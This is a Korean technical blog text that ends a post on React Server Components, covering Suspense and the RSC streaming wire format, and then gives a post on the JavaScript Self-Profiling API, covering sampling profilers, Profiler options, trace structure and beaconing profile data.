`Suspense`에 대해서 간략하게 이야기 하자면, 아직 준비되지 않는 요소가 필요할 때 (데이터를 빠르게 가져오거나, 컴포넌트를 느리게 가져오는 등) 리액트 컴포넌트로에서 promises를 던질 수 있다. 이 promise는 `Suspense boundary`에서 잡을 수 있다. Suspense에서 하위 트리를 렌더링 할 때, promise가 던져질 때마다 리액트는 이 promise가 resolve 될 때 까지 리액트 하위 트리 렌더링을 일시 중지한 다음 다시 시도한다.

우리가 RSC 결과물을 만들기 위해 서버에서 서버 컴포넌트 함수를 호출 할 때, 이 함수들은 각자 필요한 데이터를 가져올 때 promise를 던질 수 있다. 그리고 [이 promise를 만나면](https://github.com/facebook/react/blob/42c30e8b122841d7fe72e28e36848a6de1363b0c/packages/react-server/src/ReactFlightServer.js#L416), 앞서와 마찬가지로 placeholder를 위치 시킨다. 그리고 이 promise가 resolve되면 서버 컴포넌트 함수를 다시 호출하고, 성공하면 이 완료된 청크를 내보낸다. 실제로 RSC 출력 스트림을 생성하고, promise가 나타나면 일시 중지하고, 이것이 resolve되면 추가적인 chunck를 스트리밍한다.

마찬가지로, 브라우저에서 `fetch` 함수 호출로 RSC JSON 결과물을 스트리밍하고 있다. 이 프로세스 역시 결과물에서 placeholder를 마주하거나 (서버에서 던진 promise를 맞닥뜨린 경우), 스트림에서 placeholder를 아직 보지 못한 경우 (https://github.com/facebook/react/blob/main/packages/react-client/src/ReactFlightClientStream.js) promise를 던지는 것으로 끝날 수도 있다. 또는 클라이언트 컴포넌트 module reference를 마주치지만, 아직 브라우저에 로드된 클라이언트 컴포넌트 함수를 가지고 있지 않은 경우에도 promise를 던질 수 있다.

Suspense를 활용하면 서버 컴포넌트가 데이터를 가져올 때, 서버 스트리밍 RSC출력을 사용할 수 있으며 브라우저가 데이터를 점진적응로 렌더링하고 필요에 따라 클라이언트 컴포넌트 번들을 동적으로 가져올 수 있다.

## RSC Wire format

그런데 정확히 서버가 어떤 형태의 데이터를 보내는 것일까? 정확시 어떤 데이터가 서버에서 브라우저로 스트리밍 되는 것일까?

꽤 간단한 형태로 구성되어 있다. 한줄에 JSON blob 데이터가 있고, 여기에 ID로 태그되어 있는 간단한 형식이다.

```text
M1:{"id":"./src/ClientComponent.client.js","chunks":["client1"],"name":""}
J0:["$","@1",null,{"children":["$","span",null,{"children":"Hello from server land"}]}]
```

`M`으로 시작하는 라인은, 클라이언트 번들에서 컴포넌트 함수를 조회하는데 필요한 정보와 클라이언트 컴포넌트 module reference를 정의 한다.
`J`로 시작하는 줄은 앞서 `M`라인에서 정의된 클라이언트 컴포넌트를 참조하는 것으로, 실제 리액트 컴포넌트 element 트리를 정의한다.

이 형식의 포맷은 스트리밍으로 전송이 가능하다. 클라이언트가 전체 행을 읽는 즉시 JSON의 일부 구문을 분석하여 작업을 진행할 수 잇다. 서버가 렌더링하는 동안 suspense 바운더리에 도달한 경우, resolve시 각 청크에 해당하는 여러 `J`라인을 볼 수 있다.

아래 예제를 살펴보자.

```jsx
// Tweets.server.js
import { fetch } from 'react-fetch' // React's Suspense-aware fetch()
import Tweet from './Tweet.client'
export default function Tweets() {
  const tweets = fetch(`/tweets`).json()
  return (
    <ul>
      {tweets.slice(0, 2).map((tweet) => (
        <li>
          <Tweet tweet={tweet} />
        </li>
      ))}
    </ul>
  )
}

// Tweet.client.js
export default function Tweet({ tweet }) {
  return <div onClick={() => alert(`Written by ${tweet.username}`)}>{tweet.body}</div>
}

// OuterServerComponent.server.js
export default function OuterServerComponent() {
  return (
    <ClientComponent>
      <ServerComponent />
      <Suspense fallback={'Loading tweets...'}>
        <Tweets />
      </Suspense>
    </ClientComponent>
  )
}
```

위 예제에서, RSC 스트림은 아래와 같이 나타난다.

```text
M1:{"id":"./src/ClientComponent.client.js","chunks":["client1"],"name":""}
S2:"react.suspense"
J0:["$","@1",null,{"children":[["$","span",null,{"children":"Hello from server land"}],["$","$2",null,{"fallback":"Loading tweets...","children":"@3"}]]}]
M4:{"id":"./src/Tweet.client.js","chunks":["client8"],"name":""}
J3:["$","ul",null,{"children":[["$","li",null,{"children":["$","@4",null,{"tweet":{...}}}]}],["$","li",null,{"children":["$","@4",null,{"tweet":{...}}}]}]]}]
```

`J0` 은 추가 자식 컴포넌트를 갖게 되었다. `Suspense` 바운더리의 하위 항목으로, `@3`을 가리킨다. 여기서 흥미로운 점은 `@3`은 아직 정의 되지 않았다는 것이다. 서버가 `tweets`를 완전히 로드 하면, `Tweet.client.js` 컴포넌트에 대한 module reference를 참조하는 `M4`행과 `@3`이 있는 위치로 스왑되어야 하는 다른 리액트 트리를 정의하는 `J3`행을 출력하게 된다. 그리고 `J3`의 자식들이 `M4`에 정의된 트윗 컴포넌트를 참조하고 있음)

한가지 또 주의 할점은, 번들러가 자동으로 `ClientComponent`와 `Tweet` 을 두개의 개별 번들로 나누어, 브라우저가 `Tweet`번들 다운로드를 나중으로 미룰 수 있다는 점이다.

### RSC Format 사용하기

이 `RSC` 스트림을 브라우저에서 실제 리액트 엘리먼트로 어떻게 전환할까? `react-server-dom-webpack`는 [진입점 (`entrypoints`)을](https://github.com/facebook/react/blob/main/packages/react-server-dom-webpack/src/ReactFlightDOMClient.js) 가지고 있는데 여기에서 RSC 응답을 받아 리액트 엘리먼트 트리를 다시 만든다.

```jsx
import {createFromFetch} from 'react-server-dom-webpack'
function ClientRootComponent() {
  // fetch() from our RSC API endpoint.  react-server-dom-webpack
  // can then take the fetch result and reconstruct the React
  // element tree
  const response = createFromFetch(fetch('/rsc?...'))
  return (
    <Suspense fallback={null}>
      {response.readRoot() /* Returns a React element! */}
    </Suspense>
  )
}
```

API 엔드 포인트에서 RSC 응답을 읽도록 `react-server-dom-webpack`에 요청한다. 그런다음, `response.readRoot()`는 응답 스트림이 처리될 때 업데이트 되는 react element를 반환한다. 스트림을 읽기에 앞서, 아직 클라이언트가 준비되지 않았으므로 promise가 반환될것이다. 리액트는 렌더링을 재개하지만, 아직 준비되지 않은 `@3` 참조가 발견되면 또다른 promise가 던져질 것이다. 그리고 `J3`을 읽게되면 그 promise가 resolve되고, 리액트는 다시 렌더링을 재개하여 이번에는 완료할 것이다. 따라서 RSC 응답을 스트리밍할때, Suspense 바운더리에 의해 정의된 청크로, 현재 가지고 있는 element 트리를 계속 업데이트하고 렌더링할 것이다.

### 왜 그냥 html을 내보내지 않는 것일까

왜 이렇게 새로운 포맷을 만들어서 번거롭게 처리하는 것일까? 클라이언트의 목표는 리액트 element 트리를 재구성하는 것이다. HTML 을 파싱하여 react element를 만드는 것보다 이 형식을 사용하는 것이 훨씬 쉽다. 이를 통해 DOM에 최소한의 커밋으로 리액트 트리에 대한 후속 업데이트를 병합할 수 있으므로, 리액트 트리를 효과적으로 재구성할 수 있는 방향으로 검토했을 것이다.

### 단순히 클라이언트 컴포넌트에서 데이터를 가져오는 것보다 더 나은걸까?

어차피 콘텐츠를 가져오기 위해 서버에 API 요청을 해야 한다면, 이것이 현재 자주 사용하고 있는 방식, 즉 데이터를 가져오고 클라이언트에서 렌더링하는 것보다 더 나은 방법인 걸까?

결론부터 이야기 하자면 화면에 렌더링하는 내용에 따라 다르다. RSC를 사용하면 denormalized된, 즉 이미 '처리된' 데이터를 사용자에게 직접 매핑할 수 있으므로, 가져오는 데이터의 작은 부분만 렌더링하거나 렌더링 자체가 브라우저로 다운로드 되는 것을 피하고 싶은 자바스크립트를 필요로 할 때 (렌더링 하는데 많은 자바스크립트 코드가 다운로드 되어야 하는 경우) 도움이 될 수 있다. 또한 렌더링시 서로 의존성이 얽혀 있는 여러 데이터를 가져와야 하는 경우, 브라우저 보다는 지연시간이 짧은 서버에서 처리해서 가져오는 것이 훨씬 나을수 있다.

### 서버사이드 렌더링?

React 18을 사용하면, SSR과 RSC를 모두 활용하여 서버에서 html을 생성하고, 브라우저에서 html을 RSC를 hydrate할 수도 있다. 이 주제에 대해서는 다음에 다뤄보자.

## 서버 컴포넌트의 렌더링 업데이트

예를 들어, 한 제품의 페이지를 보다가 다른 제품으로 넘어가는 경우와 같이, 새로운 내용을 렌더링 하기 위해 서버 컴포넌트가 필요한 경우 어떻게 해야할까?

렌더링 자체가 서버에서 수행되므로, RSC 형식의 새 콘텐츠를 가져오기 위해 서버에 다른 API 호출이 필요하다. 브라우저가 새 컨텐츠를 받으면, 새로운 리액트 element 트리를 구성하고, 이전 리액트 트리와 reconciliation 을 수행하여 DOM에 필요한 최소한의 업데이트를 파악할 수 있으며, 모든 상태와 이벤트 핸들러는 클라이언트 컴포넌트에 유지된다.

지금은 루트 서버 컴포넌트에서 전체 응답 트리를 다시 렌더링 해야 하지만, 앞으로는 하위 트리에 대해서만 이 작업을 수행하도록 할 수 있다.

## RSC에서 프레임워크를 사용해야 하는 이유는 무엇일까?

리액트 팀은 RSC가 처음에는 플레인 리액트 프로젝트 대신에 nextjs, shopify hydrogen과 같은 프레임워크를 사용해야 한다고 언급했다. 왜그랬을까?

그 이유는 개발자들의 편의성 때문이다. 프레임워크는 보다 쉽게 래퍼와 추상화를 제공하므로, 앞서 언급했던 것처럼 서버에서 RSC 스트림을 생성하거나, 브라우저에서 이를 사용할 준비같은 것을 할 필요가 없다. 이 프레임워크들은 또 SSR을 제공하며, 서버 컴포넌트를 사용할 경우 서버에서 생성된 html 에 hydrate도 제공해준다.

앞서 언급했던 것처럼, 브라우저 클라이언트 컴포넌트에 적절하게 데이터를 내려주고 사용하기 위해서는 번들러의 도움이 필수적이다. 이미 webpack에 내장되어 있으며, shopify에서는 [vite로 사용할 수 있는 준비](https://github.com/facebook/react/pull/22952)를 하고 있는 것 같다. RSC에 필요한 많은 부분이 npm에 공개 패키지로 올라와있지 않기 때문에, 이러한 플러그인 들은 리액트 저장소의 일부가 되어야 한다. 그러나 일단 개발되면, 프레임워크 없이도 사용가능해야 할 것이다.

## RSC는 지금 사용할 수 있을까요

- https://nextjs.org/docs/advanced-features/react-18
- https://hydrogen.shopify.dev/

앞서 언급한 프레임워크에서 사용은 가능하지만, 아직 프로덕션에서 사용하기에는 이른감이 있다.

그러나 RSC가 미래에 리액트에서 큰 부분을 차지할 것이라는 사실에는 의심의 여지가 없다. 더 빠른 페이지 로딩, 더 작은 자바스크립트 번들, 그리고 더 빠른 인터랙션에 대한 리액트의 결과로, 리액트를 활용하여 여러 페이지를 만드는 애플리케이션을 만드는 방법에 대한 보다 효과적인 방법론이 될 것이다.

---

Source: https://yceffort.kr/2022/01/javascript-self-profiling.md
Title: 웹 애플리케이션에서 자바스크립트 프로파일링 해보기
Description: 해봤지만 해보지 않았습니다
Date: 2022-01-20
Tags: javascript, web-performance

## Table of Contents

## Introduction

자바스크립트를 프로파일링 할 수 있는 api가 있다. https://wicg.github.io/js-self-profiling/ 이 api를 활용하면 실제 고객의 디바이스에서 자바스크립트 웹 애플리케이션의 성능 프로파일을 가져올 수 있다. 즉, 브라우저 개발자 도구에서 로컬 머신 (컴퓨터)로 애플리케이션을 프로파일링 하는 수준 이상을 해볼 수 있다. 애플리케이션을 프로파일링하는 것을 성능을 파악할 수 있는 좋은 방법이다. 프로파일을 활용해서 시간이 지남에 따라 실행되는 항목 (스택)을 확인하고 코드에서 성능에 문제가 되는 핫스팟을 식별할 수 있도록 도와준다.

브라우저에서 개발자 도구를 사용해 봤다면, 자바스크립트 프로파일리에 익숙할 수 있다. 예를 들어, 크롬 브라우저의 개발자도구에서 성능탭을 보면 프로파일을 기록할 수 있다. 이 프로파일은 시간이 지남에 따라 애플리케이션에서 실행 중인 내용을 보여준다.

![performance-example](./images/performance-example.png)

> 내가 만든거 아님

이 api는 크롬에서 여전히 사용할 수 있는 자바스크립트 프로파일러 탭을 상기시켜준다.

![javascript-profiler-example](./images/javascript-profiler-example.png)

이 js self profiling api는 새로운 api로, 크롬 94+ 버전에서만 사용 가능하다. 자바스크립트에서 방문자를 위해 사용할 수 있는 샘플링 프로파일러를 제공한다.

## Sample Profiling이란 무엇인가

일반적으로 오늘날에 사용되는 성능 프로파일러에는 두가지 유형이 존재한다.

1. 계측 (구조화, 추적) 프로파일러: 애플리케이션이 모든 함수의 입력과 출력에 훅을 추가하여 각 함수에서 소요되는 시간을 알 수 있다.
2. 샘플링 프로파일러: 해당 시간에 호출 스택에서 실행 중인 내용을 기록(샘플링)하기 위해 일정한 주기에 따라 응용프로그램의 실행을 일시적으로 중지시킨다.

여기에서 말하는 js self-profiling api는 브라우저에서 후자의 형태로 동작한다. 브라우저 개발자 도구에서 동작하는 샘플 프로파일로도 마찬가지다.

프로파일러에서 "샘플링" 이라는 것은 브라우저가 기본적으로 일정한 간격으로 스냅샷을 생성하여 현재 실행중인 스택을 점검하는 것을 의미한다. 이것은 샘플링 간격이 너무 좁지 않다는 가정하에서 할 수 있는 가벼운 방법이다. 정기적으로 간격을 두는 샘플링 인터럽트는 실행 중인 스택을 빠르게 일단 검사한다음에 나중에 기록한다. 시간이 지남에 따라서 이렇게 샘플링된 스택은 추적 중에 실행되었던 것을 나타낼 수 있지만, 때때로 샘플링이 잘못 읽혀질 수도 있다.

시간이 지남에 따라서 애플리케이션에서 실행되는 함수 스택의 다이어그램을 한번 상상해보자. 샘플링 프로파일러는 현재 실행중인 스택을 일정한 간격 (이 그림에서는 빨간색 세로줄)에 따라 검사하고 다음과 같이 보고할 것이다.

![sampling-profiler-in-function](https://calendar.perfplanet.com/images/2021/nic/sampled-profiler-stacks.svg)

일반적으로 우리가 아는 프로파일링의 경우, (앞서 말한 전자의 경우) 정확히 언제 모든 함수가 호출되어서 시작하고, 끝나는지 알 수 있도록 애플리케이션을 추적하는데 중점을 둔다. 그러나 이러한 측정방법은 많은 오버헤드가 있고 측정 중인 애플리케이션의 속도를 늦출 수 있는 위험성이 있다. 물론 그러한 무리수 덕택에(?) 함수에서 소비되는 상대적으로 정확한 시간을 측정할 수 있다. 이러한 프로파일링은 방문자의 애플리케이션 속도를 떨어뜨리기 때문에 실제로는 거의 사용되지 않는다. 그러나 샘플링 프로파일러는 이러한 성능에 대한 영향이 훨씬 작으므로 실무에서 더 많이 쓰인다.

> https://www.igvita.com/slides/2012/structural-and-sampling-javascript-profiling-in-chrome.pdf

## 샘플링 프로파일링의 다운사이드

물론 이러한 방법이 장점만 있는 것은 아니다. 오버헤드를 줄이는 데에는 유용할 수 있지만, 캡처된 데이터가 잘못되는 경우도 발생할 수 있다.

예를 들어, 콜 스택에서 샘플 8개가 10ms 간격으로 추출되는 상황을 가정해보자.

![sampling-profiler-in-function](https://calendar.perfplanet.com/images/2021/nic/sampled-profiler-stacks.svg)

프로파일러가 알 수 있는 것은 이것이 최선이기 때문에, 샘플링된 프로파일러가 해당 스택을 빨간 세로선 기준으로 검사하는 경우 스택에서 보낸 시간을 다음과 같이 보고할 것이다.

- A, B, C 1회 호출됨 (10ms)
- A, B 2회 호출됨 (20ms)
- A가 1회 호출됨 (10ms)
- D가 2회 호출됨 (20ms)
- idle (20ms)

80ms 이상 시간 동안 일어난 일들 표현하고 있지만, 이는 사실 정확히 맞는 것은 아니다. 사실은

- A, B, C가 6ms 이상 초과 보고됨
- A, B가 12ms 이상 초과 보고됨
- A가 8ms 이하로 보고됨
- D가 8ms 이상 초과 보고됨
- D, D, D는 보고되지 않음
- idle이 15ms 이하로 보고됨

이 잘못된 리포팅은 몇몇 케이스에서 안 좋은 사례로 남을 수 있다. 대부분의 애플리케이션 스택은 또 이렇게 간단하지 않을 것이기 때문에, 실제 프로덕션 환경에서 이러한 현상이 어떻게 발생하는지 는 알 수 없겠지만, 대략 이런일이 발생할 수 있다는 것은 가정해 볼 수 있을 것이다.

먼저 샘플링된 프로파일러가 10ms 마다 샘플을 추출하는데, 애플리케이션이 대략 16ms 동안 2ms 간격으로 작업을 실행되는 상상을 해보자.

![case1](https://calendar.perfplanet.com/images/2021/nic/sampled-profiler-stacks-bad-case-1.svg)

최악의 경우, 위 그림 처럼 런타임 시간의 12.5% 동안 실행은 되지만 샘플링 프로파일러에서는 하나도 보고가 안될 수도 있다.

![case2](https://calendar.perfplanet.com/images/2021/nic/sampled-profiler-stacks-bad-case-3.svg)

위의 경우에서는, 정확히 샘플링 프로파일러와 동일한 주기로 실행될 수 있지만, 샘플링되는 1ms 짜리 실행만 가능하다. 이 경우에는 , 12.% 동안 실행되지만 리포트에서는 그 시간 내내 100% 함수가 실행되는 것으로 오해할 수 있다.

![case3](https://calendar.perfplanet.com/images/2021/nic/sampled-profiler-stacks-bad-case-2.svg)

위 경우는 또 어떤가? 10ms간격으로 샘플링하지만, 함수는 오직 8ms 동안만 실행된다. 샘플링 프로파일러가 어떻게 조사하느냐에 따라서, 런타임 시간의 80%를 사용했지만 정작 리포팅은 하나도 안될 수도 있다.

이 모든 것들은 아주 극단적으로 나쁜 예들을 모아 놓은 것이지만, 이러한 예를 한번 살펴봄으로써 어떤 종류의 애플리케이션 동작들이 샘플링된 프로파일러에 의해 잘못 표현되는지를 볼 수 있었다. 우리는 이러한 것들을 추적하기전에 감안하고 보아야 한다.

## API

### Document Policy

Javascript Self-Profiling API를 호출하려면, HTML 페이지에 `js-profiling`이라고 하는 [문서 정책](https://w3c.github.io/webappsec-permissions-policy/document-policy.html)이 있어야 한다. 일반적으로 `Document-Policy`라고 하는 HTTP 응답헤더 또는 `<iframe policy="">`를 통해 구현할 수 있다.

```text
Document-Policy: js-profiling
```

이 옵션이 되면, 써드파티 스크립트를 포함해서 모든 자바스크립트가 프로파일링을 시작할 수 있다.

### API

JS Self-Profiling API는 [Profiler](https://wicg.github.io/js-self-profiling/#the-profiler-interface) 객체를 new로 선언하여 사용할 수 있다.

샘플 프로파일러 객체가 만들어지면, 나중에 언제든 `.stop()`을 호출하여 프로파일링을 멈추고 추적 내역을 받을 수 있다.

```javascript
// Profiler를 지원하는지 확인
if (typeof window.Profiler === 'function') {
  var profiler = new Profiler({sampleInterval: 10, maxBufferSize: 10000})
  profiler.stop().then(function (trace) {
    sendProfile(trace)
  })
}
```

```javascript
if (typeof window.Profiler === 'function') {
  const profiler = new Profiler({sampleInterval: 10, maxBufferSize: 10000})
  var trace = await profiler.stop()
  sendProfile(trace)
}
```

여기에 두가지 옵션을 확인할 수 있다.

- `sampleInterval`: 애플리케이션에서 필요로하는 샘플 간격 (밀리 초)다. 시작한 뒤부터, `profiler.sampleInterval`로 접근 가능하다.
- `maxBufferSize`: 샘플 수로 측정할 수 있는, 원하는 샘플 버퍼의 크기다.

시작하자마자 바로 시작되는 것은 아니고, 프로파일러를 위한 준비를 브라우저에서 해야 하므로, 약간의 지연이 걸린다. 일반적으로, 데스크톱과 모바일에서 새 프로파일이 시작되는데 보통 1~2ms가 걸리는 것으로 보인다.

### Sample Interval

`sampleInterval`는 브라우저가 자바스크립트의 호출 스택 샘플을 가져오는 빈도를 결정한다. 측정 오버헤드가 없는 한에서, 가능한 정확히 데이터를 제공할 수 있는 좁은 구간을 선택하는 것이 좋다.

스펙 문서에서는, 사용자가 0 이상의 값을 지정해야 한다고 되어 있으며, user agent를 통해서 이러한 샘플링 속도를 선택할 수 있다.

실제로 Chrome 96이상에서 지원하는 최소 샘플링간경은 다음과 같다.

- 윈도우: 16ms
- 맥, 리눅스, 안드로이드: 10ms

이 말인 즉슨, 아무리 1이나 0을 선택해도 운영체제에 따라 만 최소 10ms내지 16ms만 가능하다는 것이다. `.sampleInterval`을 활용하면 언제든 현재 샘플링 레이트를 확인할 수 있다.

```javascript
const profiler = new Profiler({sampleInterval: 1, maxBufferSize: 10000})
console.log(profiler.sampleInterval)
```

이와는 별개로, 크롬에서는 실제 샘플링 간격이 최소 값의 다음 배수로 올라간다. 예를 들어, 안드로이드에서 91~99ms를 지정한다면 100ms가 실제로는 부여된다.

### Buffer

또 다르게 추적에 사용할 수 있는 값은 `maxBufferSize` 다. 이 값은 프로파일러가 자체적으로 중단하기 전에 수집할 수 있는 최대 샘플 크기를 의미한다.

예를 들어, `sampleInterval: 100`, `maxBufferSize: 10`를 지정하는 경우 100ms간 10개의 샘플을 얻을 수 있게 되는 것이다. 만약 이 버퍼가 다 차게 되면, `samplebufferfull` 이벤트가 발생하게 되고 더이상 샘플을 수집하지 않게 된다.

```javascript
if (typeof window.Profiler === 'function') {
  const profiler = new Profiler({ sampleInterval: 10, maxBufferSize: 10000 })

  function collectAndSendProfile() {
    if (profiler.stopped) return

    sendProfile(await profiler.stop())
  }

  profiler.addEventListener('samplebufferfull', collectAndSendProfile)

  // do work, or listen for some other event, then:
  // collectAndSendProfile();
}
```

## 누구를 프로파일 할까

모든 방문자에 대해 샘플 프로파일러를 활성화 하면 될까? 아마도 그건 무리일 것이다. 물론 오버헤드는 무시할 만큼 작아보일 수도 있지만, 모든 방문객에게 이 데이터를 추출하고 수집하는데 부담을 주는 것은 좋지 못하다.

이상적으로는, 샘플 프로파일러도 표본으로 (sample) 추출하는 것이 좋다.

예를 들어 방문자의 10%, 1%, 0.1%에 대해 이 기능을 키는 것을 고려할 수 있다. 모든 사용자에게 키지 말아야할 이유는 다름과 같다.

- 최소 수준인 것을 감안하더라도, 샘플링을 활성화 하는 것은 비용이 발생하므로 모든 방문자를 지연 시키는 것은 좋지 못하다.
- 샘플링 프로파일러 추적에 의해 발생하는 데이터의 양은 상당하기 때문에, 이 데이터를 모두 서버에서 처리한다면 좋지 못하다.
- 현재 기준으로 이 api를 지원하는 브라우저는 크롬 뿐이므로 브라우저 편향적인 데이터를 수집하게 된다.

위와 같은 요소를 고려해봤을 때, 특정 페이지 로드 샘플 혹은 특정 방문자 샘플에 대해 프로파일러를 하는 것이 이상적이다.

https://caniuse.com/mdn-api_profiler

## 언제 프로파일 할까

언제 프로파일이 시작되어야 할까? 여기에는 특정 이벤트, 사용자 인러택션, 전체 페이지 로드 그 자체 등 여러가지 세션 중에 프로파일링을 활용할 수 있는 다양한 방법이 있다.

### 특정 작업

애플리케이션은 방문자를 위해 규칙적으로 실행되는 몇가지 복잡한 작업을 가지고 있을 것이다.

이러한 작업을 기준으로 측정한다면, 코드가 실제로 어떻게 흘러가고 수행되는지 모를 때 유용할 수 있다. 이는 호출하는데 얼마나 많은 비용이 드는지 모르는 써드파티 스크립트를 호출 할 때 유용하다.

이러한 작업을 위해서는, Profiler를 단순히 작업의 시작과 끝에 작동과 중지를 하면 된다.

캡쳐한 이 데이터는 프로파일링하는 코드를 알 수 있을 뿐만 아니라, 작업이 다른 코드와 경쟁적으로 일어나고 있는지도 파악할 수 있다.

```javascript
function loadExpensiveThirdParty() {
  const profiler = new Profiler({sampleInterval: 10, maxBufferSize: 1000})

  loadThirdParty(async function onThirdPartyComplete() {
    var trace = await profiler.stop()
    sendProfile(trace)
  })
}
```

### 유저 인터랙션

유저 인터랙션은 [First Input Delay](https://web.dev/fid/)와 같은 메트릭이 중요할 때 사용하는 것이 좋다.

사용자 인터랙션을 측정하기 위해, 프로파일러를 시작하는 타이밍과 관련하여 몇가지 방법을 생각해 볼 수 있다.

- 일단 한개는 항상 실행시킨다. 그리고 사용자가 인터랙션을 한다면, 이벤트 전후의 짧은 시간으로 이벤트를 잘라낸다.
  - 만약 `EventTiming`을 사용하고 활성화된 Profiler가 있다면, 이벤트의 `startTime`에서 `processingEnd`까지 측정하여 이벤트 실행전, 중, 결과로 실행된 내용을 파악할 수 있다.
- 마우스가 이동하거나 clickable한 대상으로 이동하기 시작하면 프로파일러 켜기
- 사용자가 인터랙션을 수행할 것으로 예상되는 이벤트 (마우스 다운)과 같은 이벤트가 발생하면 프로파일러 켜기

만약, 인터랙션이 프로파일러를 시작할 때 까지 기다린다면 앞서 언급한 것 처럼 1~2m정도의 시간이 소요된다.

```javascript
let profiler = new Profiler({sampleInterval: interval, maxBufferSize: 10000})

const observer = new PerformanceObserver(function (list) {
  const perfEntries = list.getEntries().forEach((entry) => {
    if (profiler && !profiler.stopped && entry.name === 'click') {
      profiler.stop().then(function (trace) {
        const filteredSamples = trace.samples.filter(function (sample) {
          return (
            sample.timestamp >= entry.startTime &&
            sample.timestamp <= entry.processingEnd
          )
        })

        // do something with the filteredSamples and the event

        // start a new profiler
        profiler = new Profiler({
          sampleInterval: interval,
          maxBufferSize: 10000,
        })
      })
    }
  })
}).observe({type: 'event', buffered: true})
```

### 페이지 로드

만약 페이지 로드 프로세스 전체를 프로파일링 하려면, 문서의 `<head>`에 다른 스크립트보다 먼저 인라인 스크립트를 삽입하여 프로파일러를 시작하는 것이 좋다.

그렇게 하면 추적을 처리하고 전송하기 전에 미리 페이지의 `onload` 이벤트와 딜레이를 기다릴 수 있다.

또한 `pageHide` 나 `visibilitychange` 이벤트에 리스너를 달아서 페이지가 완전히 로드되기전에 페이지를 떠나는지 확인하는 후 프로파일링을 전송할 수 있다.

> `unload` 이벤트에서는 약간의 문제가 있다.

긴 작업이나 EventTiming 이벤트와 같이 페이지 로드 프로세스에서 지표나 이벤트를 측정하는 경우, 이벤트가 어떻게 실행되었는지 이해하기 위해 샘플 프로파일러를 사용하면 유용할 수 있다.

## 프로파일 살펴보기

`Profiler.stop()`의 Promise 콜백에서 리턴되는 trace 객체는 [여기](https://github.com/WICG/js-self-profiling/blob/main/README.md#appendix-profile-format)에 설명되어 있으며, 주요 내용은 아래와 같다.

- `frames`: 프레임의 배열, 즉 스택의 일부 일 수 있응 개별함수들을 포함한다.
  - `innerHTML`과 같은 DOM 함수도 볼 수 있으며, 여기에는 심지어 `Profiler` 자체도 포함될 수 있다.
  - 만약 이름이 없는 경우, `<script>` 이거나 외부 자바스크립트 파일의 루트에서 실행될 자바스크립트일 가능성이 높다.
- `resources`: trace에 프레임이 있는 함수가 포함된 모든 리소스의 배열이 포함된다.
  - 페이지 그 자체가 배열의 첫번째 인 경우가 많으며, 다른 외부 자바스크립트 파일 또는 페이지가 뒤이어 나타난다.
- `samples`: 실제 프로파일러 샘플이며, 발생한 시점에 해당하는 타임스탬프가 있고, `stackId`가 해당 시간된 스택을 가리킨다.
  - 만약 `stackId`가 없다면 해당 시간에는 아무것도 실행되지 않은 것이다.
- `stacks`: 스택위에서 실행중인 프레임의 배열이 포함되어 있다.
  - 각 스택은 `parentId`를 가질 수 있는데, 이를 호출한 함수에 대해 트리의 다음 노드에 매핑된다.

```json
{
  "frames": [
    { "name": "Profiler" }, // the Profiler itself
    { "column": 0, "line": 100, "name": "", "resourceId": 0 }, // un-named function in root HTML page
    { "name": "set innerHTML" }, // DOM function
    { "column": 10, "line": 10, "name": "A", "resourceId": 1 } // A() in app.js
    { "column": 20, "line": 20, "name": "B", "resourceId": 1 } // B() in app.js
  ],
  "resources": [
    "https://example.com/page",
    "https://example.com/app.js",
  ],
  "samples": [
      { "stackId": 0, "timestamp": 161.99500000476837 }, // Profiler
      { "stackId": 2, "timestamp": 182.43499994277954 }, // app.js:A()
      { "timestamp": 197.43499994277954 }, // nothing running
      { "timestamp": 213.32999992370605 }, // nothing running
      { "stackId": 3, "timestamp": 228.59999990463257 }, // app.js:A()->B()
  ],
  "stacks": [
    { "frameId": 0 }, // Profiler
    { "frameId": 2 }, // set innerHTML
    { "frameId": 3 }, // A()
    { "frameId": 4, "parentId": 2 } // A()->B()
  ]
}
```

시간이 지남에 따라 무엇이 실행되었는지 확인하기 위해 샘플 배열을 살펴보자.

```json
"samples": [
  ...
  { "stackId": 3, "timestamp": 228.59999990463257 }, // app.js:A()->B()
  ...
]
```

만약 샘플이 `stackId`를 가지고 있지 않다면, 아무것도 실행되지 않은 것이다.

만약 포함된 경우, `stacks`에서 해당 아이디를 참조할 수 있다.

```json
"stacks": [
  ...
  2: { "frameId": 3 }, // A()
  3: { "frameId": 4, "parentId": 2 } // A()->B()
]
```

`stackId` 3은 `frameId` 4 임을 알 수 있는데, 이는 `parentId` 2를 가진다.

`parentId`를 재귀적으로 체이닝 하다보면, 전체 스택을 볼 수 있다. 이 경우, 이 스택에는 두개의 프레임만 존재한다.

```text
frameId:4
frameId:3
```

이 `frameId`로, `frames`을 살펴보면

```json
"frames": [
...
  3: { "column": 10, "line": 10, "name": "A", "resourceId": 1 } // A() in app.js
  4: { "column": 20, "line": 20, "name": "B", "resourceId": 1 } // B() in app.js
],
```

따라서 위의 `228.59999990463257`에 있는 샘플 스택은 다음과 같다.

```text
B()
A()
```

이 말은, `A()`가 `B()`를 호출했다는 것이다.

## Beaconing

샘플링 프로파일의 추적이 중지되었다면, 이제 그 데이터를 바탕으로 어떻게든 유의미한 값을 가져와야 할 것이다.

https://nicj.net/beaconing-in-practice/

추적된 데이터의 크기에 따라, 먼저 로컬 (브라우저)에서 처리하거나, 추가 분석을 위해 로우 데이터를 백엔드 서버로 전송하는 등의 작업을 할 수 있다.

해당 데이터를 처리하기 위해 다른 위치로 전송하는 경우, 보다 실행에 용이한 상태로 만들기 위해 몇가지 추적과 관련된 증거를 남겨둘 수 있다. 예를 들어

- 페이지 로드에 걸린 시간 또는 Core Web Vital과 같은 성능 지표
  - 이러한 성능 지표 데이터가 있다면, 유저 경험이 좋은지 나쁜지 이해하는데 도움이 될 수 있다
- `Long Tasks` `EventTiming` 이벤트와 같은 성능 이벤트
  - 이러한 이벤트와 샘플 데이터간의 상관 관계를 분석하여 사용자에게 '나쁜' 영향을 미친 이벤트 동안 어떤 일이 발생했는지 알 수 있음
- User Agent, 디바이스 정보, 페이지 너비와 같은 유저 관련 정보
  - 데이터를 케이스 별로 분할하고, '나쁜' 유저 경험이 있는 패턴을 발견한 경우, 어떤 케이스인지 그 범위를 좁히는데 유용하다.

이러한 샘플링된 프로파일은 이 작업이 수행된 상황을 이해할 수 있을 때 가장 유용하므로, 이 데이터가 '좋은' 유저 경험인지 '나쁜' 유저 경험인지 판단할 수 있는 데이터를 가지고 있어야 한다.

## 압축

CPU 에 약간 투자할 여유가 있다면, 업로드하기전에 데이터 크기를 줄일 수 있는 몇가지 방법이 있다.

